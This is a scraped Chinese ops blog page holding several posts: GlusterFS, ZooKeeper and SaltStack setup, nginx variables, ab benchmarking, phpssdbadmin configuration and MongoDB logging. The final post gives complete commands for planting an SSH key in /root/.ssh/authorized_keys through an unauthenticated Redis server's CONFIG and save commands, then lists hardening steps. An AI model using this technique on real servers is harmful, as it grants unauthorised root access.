nginxs

运维博客

glusterfs安装使用

2016/07/14 20:17 于 安全 0

微信 微博 豆瓣 人人

**介绍

glusterfs文件系统是:


  1. 一个分布式可伸缩,最大可超过PB,可插拔的集群I / O调度器
  2. 非停止性存储,非元数据存储
  3. 可以通过mount挂载到本地,向本地磁盘一样读写
  4. 简单易于管理

查看各个节点状态
gluster peer status

1.安装


  1. 1 配置epel源

wget -P /etc/yum.repos.d http://download.gluster.org/pub/gluster/glusterfs/LATEST/CentOS/glusterfs-epel.repo

1.2 安装软件
yum install glusterfs glusterfs-server glusterfs-fuse


  1. 3 添加hosts

[root@docker ~]# cat /etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
10.1.1.134 docker
192.168.199.253 i2p.nginxs.net

1.4 注册并查看主机列表(不显示当前主机)

[root@cloud yum.repos.d]# gluster peer probe 192.168.199.222
peer probe: success.
[root@cloud yum.repos.d]# gluster peer status
Number of Peers: 1

Hostname: 192.168.199.222
Uuid: 67511194-333c-4919-88df-ccb5e10d9568
State: Peer in Cluster (Connected)
[root@cloud yum.repos.d]# gluster peer probe 192.168.199.8
peer probe: success. Probe on localhost not needed

1.5 创建逻辑卷

[root@cloud yum.repos.d]# gluster volume create dianjoygfs 192.168.199.{8,222}:/data1/gfs-data/
volume create: dianjoygfs: success: please start the volume to access data

1.6 启动存储逻辑卷

[root@docker ~]# gluster volume start dianjoygfs
volume start: dianjoytest: success

1.7 挂载glusterfs存储卷

[root@ntest1 ~]# mount.glusterfs 192.168.199.8:/dianjoygfs /mnt/gluster-mount/
[root@ntest1 ~]# df -hT
Filesystem Type Size Used Avail Use% Mounted on
/dev/vda1 ext4 20G 8.8G 9.8G 48% /
tmpfs tmpfs 1.9G 16K 1.9G 1% /dev/shm
/dev/vdb1 ext4 50G 20G 28G 42% /data
192.168.199.8:/dianjoygfs
fuse.glusterfs 2.7T 861G 1.8T 33% /mnt/gluster-mount

这个存储卷的大小是,每个节点挂载“/data1/gfs-data/”的磁盘大小,其它信息同是如此。

glusterfs安装使用glusterfs install glusterfsnfs

10-nginx内部变量和自定义变量

2016/05/21 14:04 于 安全 0

微信 微博 豆瓣 人人

自定义nginx变量

set $user_pro "false";定义区域“main”

公有变量

$arg_ 请求中的参数名称
$args 请求中的参数
$binary_remote_addr 客户地址在一个二进制形式、价值的长度总是4字节
$body_bytes_sent
$bytes_sent (ngx_http_core_module)发送到客户端字节数
$bytes_sent (ngx_http_log_module)
$connection 连接序列号
$connection_requests (ngx_http_core_module)
$connection_requests (ngx_http_log_module)
$connections_active #活跃连接数
$connections_reading #只读连接
$connections_waiting #等待连接
$connections_writing #写连接
$content_length Header里面内容长度”
$contenttype Header里面内容格式”
$cookie
cookie的名字
$date_local
$document_root 当前请求的root或者alias
$document_uri $url一样
$fastcgi_path_info
$fastcgi_script_name
$geoip_area_code
$geoip_city
$gzip_ratio
$host 主机或主机名”请求头字段,或服务器名称匹配的请求
$hostname 主机名
$https
$invalid_referer
$is_args ?
$limit_rate
$memcached_key
$modern_browser
$msec (ngx_http_core_module)
$msec (ngx_http_log_module)
$msie
$nginx_version
$pid worker进程的PID
$pipe (ngx_http_core_module)
$proxy_add_x_forwarded_for
$proxy_host
$proxy_port
$proxy_protocol_addr
$query_string
$realip_remote_addr
$realpath_root
$remote_addr 远程IP
$remote_port 远程端口
$remote_user 进行基本用户验证时候的用户名
$request 完整的原始请求
$request_body 请求主体
$request_body_file
$request_completion
$request_filename
$request_id
$request_length (ngx_http_core_module)
$request_length (ngx_http_log_module)
$request_method
$request_time (ngx_http_core_module)
$request_time (ngx_http_log_module)
$request_uri 则是请求的整个字符串,包含了后面的query_string的。
$scheme
$secure_link
$secure_link_expires
$senthttp$server_addr
$server_name 接受请求的服务器的名称
$server_port
$server_protocol
$session_log_binary_id
$session_log_id
$slice_range
$spdy
$spdy_request_priority
$status (ngx_http_core_module) 请求服务状态
$status (ngx_http_log_module)
$tcpinfo_rtt
$tcpinfo_rttvar
$tcpinfo_snd_cwnd
$tcpinfo_rcv_space
$time_iso8601 (ngx_http_core_module)
$time_iso8601 (ngx_http_log_module) #iso8601标准的时间
$time_local (ngx_http_core_module) #本地时间
$time_local (ngx_http_log_module) 当地时间在常见的日志格式
$uid_got
$uid_reset
$uid_set
$upstream_addr
$upstream_cache_status
$upstream_connect_time
$upstreamcookie$upstream_header_time
$upstreamhttp$upstream_response_length
$upstream_response_time
$upstream_status
$uri 指的是请求的文件和路径,不包括“?”或者“#”之后的东西

nginx教程

第一章 nginx安装基本引导和进程信号

02-nginx IO模型

03-nginx负载均衡

04-nginx的root和alias区别

05-nginx limit_req和limit_conn_zone

06-nginx访问控制“限制ip”,“限制用户名”

07-nginx geo区域访问控制

08-nginx的if语句条件判断

10-nginx内部变量和自定义变量

nginx内部变量和自定义变量nginx内部变量nginx自定义变量nginx内部变量和自定义变量10-nginx变量nginx

02-zookeeper集群搭建

2016/05/14 13:16 于 安全 0

微信 微博 豆瓣 人人

首先准备三个节点
192.168.1.127
192.168.1.128
192.168.1.129

先安装zookeeper
cd /usr/local/src/
wget http://apache.fayea.com/zookeeper/zookeeper-3.5.1-alpha/zookeeper-3.5.1-alpha.tar.gztar zxf zookeeper-3.5.1-alpha.tar.gz
mv zookeeper-3.5.1-alpha /usr/local/zookeeper

更改三个节点配置
server.1=192.168.1.127:2008:6008
server.服务器编号=服务器地址:LF通信端口:选举端口

cd /usr/local/zookeeper && mkdir -p /data/zookeeper
vim conf/zoo.cfg

    tickTime=2000
initLimit=10
syncLimit=5
dataDir=/data/zookeeper
clientPort=2181
server.1=192.168.1.127:2008:6008
server.2=192.168.1.128:2008:6008
server.3=192.168.1.129:2008:6008

启动前两个节点

     ./bin/zkServer.sh start
ZooKeeper JMX enabled by default
/usr/bin/java
Using config: /usr/local/zookeeper/bin/../conf/zoo.cfg
Starting zookeeper ... STARTED

你会发现有报错是因为其他节点没有起来

    2016-05-14 12:05:18,540 [myid:3] - WARN  [QuorumPeer[myid=3](plain=/0:0:0:0:0:0:0:0:2181)(secure=disabled):QuorumCnxManager@459] - Cannot open channel to 2 at election address /192.168.199.22
2:6008
java.net.ConnectException: Connection refused
at java.net.PlainSocketImpl.socketConnect(Native Method)
at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
at java.net.Socket.connect(Socket.java:589)
at org.apache.zookeeper.server.quorum.QuorumCnxManager.connectOne(QuorumCnxManager.java:444)
at org.apache.zookeeper.server.quorum.QuorumCnxManager.connectOne(QuorumCnxManager.java:485)
at org.apache.zookeeper.server.quorum.QuorumCnxManager.connectAll(QuorumCnxManager.java:513)
at org.apache.zookeeper.server.quorum.FastLeaderElection.lookForLeader(FastLeaderElection.java:919)
at org.apache.zookeeper.server.quorum.QuorumPeer.run(QuorumPeer.java:1040)

查看集群状态

echo 'stat'|nc 192.168.1.128 2181

Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
Clients:
/192.168.1.128:182810

Latency min/avg/max: 0/0/0
Received: 1

Sent: 0
Connections: 1
Outstanding: 0
Zxid: 0x100000000
Mode: follower
Node count: 5

查看节点角色[root@test-node4 zookeeper]# ./bin/zkServer.sh status
ZooKeeper JMX enabled by default
/usr/bin/java
Using config: /usr/local/zookeeper/bin/../conf/zoo.cfg
Client port found: 2181. Client address: localhost.
Mode: leader
zookeeper

zookeeper源码安装

00-zookeeper启动报错: myid file is missing 和 Problem starting AdminServer

02-zookeeper集群搭建

zookeeperzookeeper快速安装zookeeper集群快速搭建

web服务ab性能测试

2016/04/25 22:08 于 安全 0

微信 微博 豆瓣 人人

介绍ab是apche自带的一个web服务测试工具,很方便使用。

案例说明

-t 测试时长
-c 请求的并发客户端
-n 请求的次数



  • 10个连接,每次100请求执行5秒
    ab -c 10 -n 100 -t 5 http://192.168.1.128/

    [root@localhost nginx-new]# wc -l logs/access.log 
    101 logs/access.log
    [root@localhost nginx-new]# ab -c 10 -n 100 -t 5 http://192.168.1.128/
    This is ApacheBench, Version 2.3 <$Revision: 655654 $>
    Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
    Licensed to The Apache Software Foundation, http://www.apache.org/

    Benchmarking 192.168.1.128 (be patient)
    Completed 5000 requests
    Completed 10000 requests
    Completed 15000 requests
    Completed 20000 requests
    Completed 25000 requests
    Completed 30000 requests
    Completed 35000 requests
    Completed 40000 requests
    Completed 45000 requests
    Completed 50000 requests
    Finished 50000 requests

    Server Software: nginx/1.9.15
    Server Hostname: 192.168.1.128
    Server Port: 80

    Document Path: /
    Document Length: 612 bytes

    Concurrency Level: 10
    Time taken for tests: 4.527 seconds
    Complete requests: 50000
    Failed requests: 0
    Write errors: 0
    Total transferred: 42250000 bytes
    HTML transferred: 30600000 bytes
    Requests per second: 11045.80 [#/sec] (mean)
    Time per request: 0.905 [ms] (mean)
    Time per request: 0.091 [ms] (mean, across all concurrent requests)
    Transfer rate: 9114.94 [Kbytes/sec] received

    Connection Times (ms)
    min mean[+/-sd] median max
    Connect: 0 0 0.1 0 2
    Processing: 0 1 0.3 1 8
    Waiting: 0 1 0.3 1 8
    Total: 0 1 0.3 1 9

    Percentage of the requests served within a certain time (ms)
    50% 1 #1ms完成99%请求
    66% 1
    75% 1
    80% 1
    90% 1
    95% 1
    98% 2
    99% 2
    100% 9 (longest request)

web服务ab性能测试ab性能测试ab测试web性能测试

SSDB管理工具phpssdbadmin

2016/04/11 22:25 于 安全 0

微信 微博 豆瓣 人人

phpssdbadmin是php语言写的SSDB管理工具,下面讲一下安装过程


  1. 克隆代码

git clone https://github.com/ssdb/phpssdbadmin.git



  1. 修改配置

    [root@ssdb-node1 html]# cat phpssdbadmin/app/config/config.php 
    <?php
    define('ENV', 'online');

    return array(
    'env' => ENV,
    'logger' => array(
    'level' => 'all', // none/off|(LEVEL)
    'dump' => 'file', // none|html|file, 可用'|'组合
    'files' => array( // ALL|(LEVEL)
    #'ALL' => dirname(__FILE__) . '/../../logs/' . date('Y-m') . '.log',
    ),
    ),
    'servers' => array(
    array(
    'host' => '192.168.1.11',
    'port' => '8888',
    //'password' => '22222222',
    ),
    array(
    'host' => '192.168.1.12',
    'port' => '8888',
    //'password' => '22222222',
    ),
    array(
    'host' => '192.168.1.13',
    'port' => '8888',
    //'password' => '22222222',
    ),

    ),
    'login' => array(
    'name' => 'nginxs',
    'password' => 'nginxs.net', // at least 6 characters
    ),
    );

  2. 配置nginx

    server
    {
    listen 8080;
    root /usr/local/nginx/html;
    index index.htm index.html index.php;
    access_log logs/phpssdbadmin.com-access.log access_log;
    location /phpssdbadmin {
    try_files $uri $uri/ /phpssdbadmin/index.php?$args;
    }
    location ~ \.php$
    {
    fastcgi_pass unix:/usr/local/php-fastcgi/php-fpm.sock;
    fastcgi_index index.php;
    include fastcgi.conf;
    }
    location / {
    root /usr/local/nginx/html;
    index index.php index.html index.htm;
    }

    }

取消订阅请在评论框回复你的邮箱,会自动取消订阅
微信扫描二维码了解更多 ->

[运维博客]
[运维博客](http://nginxs.blog.51cto.com/

phpssdbadminssdb管理工具ssdb

centos5 安装saltstack

2016/04/02 14:41 于 安全 0

微信 微博 豆瓣 人人

saltstack是一款批量管理操作服务状态的工具,他越来越流行源于他简单的配置和快速的操作。
因为saltstack出现的比较晚,centos的早起版本的网络仓库都没有,
因此写这篇文档方便新手操作,这里都是经过我亲自操作的。

快速安装脚本:https://github.com/bashhu/shell/blob/master/salt/startshell/salt-install.sh如果想体验安装中乐趣请继续下文

MASTER服务

 mkdir -p /etc/salt/state
vim / etc/salt/master
timeout: 60
state_top: top.sls
file_roots:
base:
- /etc/salt/states/base

minion节点:

vim /etc/salt/minion
master: 192.168.1.2 #master的IP或者域名

微信扫描二维码了解更多 ->

[运维博客]
[运维博客](http://nginxs.blog.51cto.com/

saltstackRHEL5安装saltstacksaltstack安装saltstack快速安装saltstack快速安装脚本

mongodb3.2日志配置 【翻译】

2016/03/31 23:52 于 安全 0

微信 微博 豆瓣 人人

文中剪辑
使用“systemLog.verbosity ”来给所有的组件配置默认的日至级别。
使用“systemLog.component..verbosity”来给指定的组件设置日志级别。

举例:
接下来设置
“systemLog.verbosity”为“1”
“systemLog.component.query.verbosity”为“2”
“systemLog.component.storage.verbosity”为“2”
“systemLog.component.storage.journal.verbosity ”为“1”

配置里面写法(就是YAML的写法,每级缩进两个空格)

systemLog:
verbosity: 1
component:
query:
verbosity: 2
storage:
verbosity: 2
journal:
verbosity: 1

所有的未组件指定配置使用“systemLog.verbosity”指定的1级别。

mongodb日志包括 一下部分:时间- 日志级别组件名执行操作日志内容
从mongodb3.0开始mongodb开始包含每行日志级别和日志内容相关的组件.

<timestamp> <severity> <component> [<context>] <message>
2014-11-03T18:28:32.450-0500 I NETWORK [initandlisten] waiting for connections on port 27017

  1. 时间

时间的格式默认是ISO-8601-local,修改时间格式请更改此参数“systemlog.timeStampFormat”.


  • 日志严重级别

日志级别描述

Level Description
F Fatal
E Error
W Warning
I Informational, for Verbosity Level of 0
D Debug, for All Verbosity Levels > 0

可以指定各个组件的日志级别来确定信息量和debug信息的输出



  • 组件

       当前日志中包含的很多组件,分为一下:

  • ACCESS

     修改参数:systemLog.component.accessControl.verbosity 
    关于访问控制和用户认证的详细情况,会使用此组件显示到日志中

  • COMMAND

    修改参数:systemLog.component.command.verbosity
    涉及到数据库的命令,如计数的消息。要指定命令组件的日志级别,使用系统Log.component.command.verbosity设置。

  • CONTROL

     修改参数:systemLog.component.control.verbosity 
    控制活动,如初始化相关的消息。

  • FTDC

    修改参数:systemLog.component.ftdc.verbosity
    关于数据诊断收集的相关部分,例如服务器统计信息和状态信息。


  • GEO

    修改参数:systemLog.component.geo.verbosity
    有关地理空间的信息,例如验证以GeoJSON类型的解析的消息。


  • INDEX

     修改参数: systemLog.component.index.verbosity
    索引相关的操作,创建索引。

  • NETWORK

    有关网络活动的消息,例如接受和断开连接。
    修改参数: systemLog.component.network.verbosity


  • QUERY

    查询相关信息,包括计划人员查询活动。
    修改参数:systemLog.component.query.verbosity


  • REPL

    有关副本的信息,例如初始化同步和心跳消息(心跳失败)。
    修改参数:systemLog.component.replication.verbosity


  • SHARDING

     有关分片活动的信息,例如启动mongos节点。
    修改参数:systemLog.component.sharding.verbosity

  • STORAGE

     有关存储活动的信息,例如参与frsync命令处理。
    修改参数: systemLog.component.storage.verbosity

MongoDB的JOURNAL组件和STORAGE组件与众不同,无论如何,STORAGE都是JOURNAL操作的结果。
因此, systemLog.component.storage.verbosity设置unset,MongoDB使用的STORAGE详细级别JOURNAL组件。


  • JOURNAL

日志活动相关的信息。
修改参数:systemLog.component.storage.journal.verbosity

MongoDB的JOURNAL组件和STORAGE组件与众不同,无论如何,STORAGE都是JOURNAL操作的结果。因此,如果systemLog.component.storage.journal.verbosity设置unset,MongoDB使用JOURNAL存储详情更好


  • WRITE

有关写操作信息,例如update命令。
修改参数:systemLog.component.write.verbosity 


  • -
    一个未命名组件信息,未命名组件的默认日至级别需要指定“systemLog.verbosity”设置,
    该systemLog.verbosity设置为有名和无名组件的默认设置。

  1. Verbosity Levels
    查看当前日志详情级别,使用“ db.getLogComponents()”方法可以查看当前日志级别详情。
    配置日志详情: the systemLog.verbosity and systemLog.component..verbosity settings, the logComponentVerbosity parameter; the db.setLogLevel()method.
    systemLog Verbosity Settings
    使用“systemLog.verbosity ”来给所有的组件配置默认的日至级别。
    使用“systemLog.component..verbosity”来给指定的组件设置日志级别。

举例:
接下来设置
“systemLog.verbosity”为“1”
“systemLog.component.query.verbosity”为“2”
“systemLog.component.storage.verbosity”为“2”
“systemLog.component.storage.journal.verbosity ”为“1”

配置里面写法

systemLog:
verbosity: 1
component:
query:
verbosity: 2
storage:
verbosity: 2
journal:
verbosity: 1

所有的未组件指定配置使用“systemLog.verbosity”指定的1级别。


  • logComponentVerbosity 参数

“logComponentVerbosity”参数通过一个文档来修改详细的参数。

例如:
 default verbosity level to 1, the query to 2, the storage to2, and the storage.journal to 1.

use admin
db.runCommand( {
setParameter: 1,
logComponentVerbosity: {
verbosity: 1,
query: {
verbosity: 2
},
storage: {
verbosity: 2,
journal: {
verbosity: 1
}
}
}
} )

  • db.setLogLevel()

使用“db.setLogLevel()”指定单独组件的日至级别,你可以指定详细情况0到5,或者指定“-1”
继承父配置。例如使用“systemLog.component.query.verbosity”继承上级配置。

db.setLogLevel(-1, "query")

取消订阅请在评论框回复你的邮箱,会自动取消订阅
微信扫描二维码了解更多 ->

[运维博客]
[运维博客](http://nginxs.blog.51cto.com/

mongodbmongodb3.2日志配置mongodb日志配置

redis的一次持久化入侵

2016/02/19 21:54 于 安全 2

这根据redis持久化可生成文件,而且redis可以指定生成文件的位置和名称的bug下,恰巧你的redis里面只有一个key而且是一个ssh公钥,而且你指定持久化文件名“authorized_keys”生成位置是“/root/.ssh/”,这样那个拥有私钥的人就可以无密钥登录root了

1.生成密钥

[root@saltstack-node2~]# (echo -e "\n\n";cat .ssh/id_rsa.pub;echo "\n\n")
>/tmp/foo.txt
[root@saltstack-node2~]# cat /tmp/foo.txt

ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEA0rfmYdQvgw/fmrKMj2nRV5FMucTAlv+J49Yu2MRsC9v0ORkesquGShvM/KuIM0P4yMS/l5/N/AzC3X76QJm3XeckuZdpo7KhZGuWGb76n4LrDf1UekagYW7dmW9f2WXnRrxnhl64N3DOeH9A2mD/mRrNrrJ+yyVUjbG9fM+FzOU8mYf7rqvLzqO2ppHYpPj9T5sR8E4bZpYBCQT9JXlA1N3y48LUGUqE5AuUKYEc6wyJCvPxaPWa8Ss03+zaVyF7ly+dje+3sDF1n8DvwveLaXV8BPfGB5bVG4kEtIhiWmWR+ITnLyzLzle2292+BtgfOrKOopk8TlBIhjVzl1LOJQ==
root@xxx.example.com
\n\n

2.清空redis
清空redis:

127.0.0.1:6379>
FLUSHALL
OK

3.写一个key

[root@saltstack-node2~]# cat /tmp/foo.txt |redis-cli -x set pwn
OK

4.对已知redis进行修改配置

127.0.0.1:6379>
CONFIG set dir /root/.ssh
OK
127.0.0.1:6379>config set dbfilename "authorized_keys"
OK
127.0.0.1:6379>
save
OK
127.0.0.1:6379>
exit

5.可以登录了

[root@saltstack-node2~]# ssh 192.168.81.129
The authenticity of
host '192.168.81.129 (192.168.81.129)' can't be established.
RSA key fingerprint
is 7d:c4:f0:37:1e:ba:da:90:56:8b:fa:ee:df:d0:3f:22.
Are you sure you
want to continue connecting (yes/no)? yes
Warning: Permanently
added '192.168.81.129' (RSA) to the list of known hosts.
Last login: Wed Nov
11 03:18:23 2015 from 192.168.81.1
[root@saltstack-node2~]#

预防措施:
1.不以root或者其它可登录用户启动(用低级权限启动)

2.修改配置增加密码认证
requirepass password

3.绑定内网IP不对外访问
bind 192.168.0.5

4.去除redis里面可进行系统入侵的命令

rename command
FLUSHALL ""
rename command
FLUSHDB ""
rename command
CONFIG
rename command EVAL

微信扫描二维码了解更多 ->

[运维博客]
redis的一次持久化入侵 http://new.nginxs.net/read.php/hello-world/

redis;redis持久化,入

管理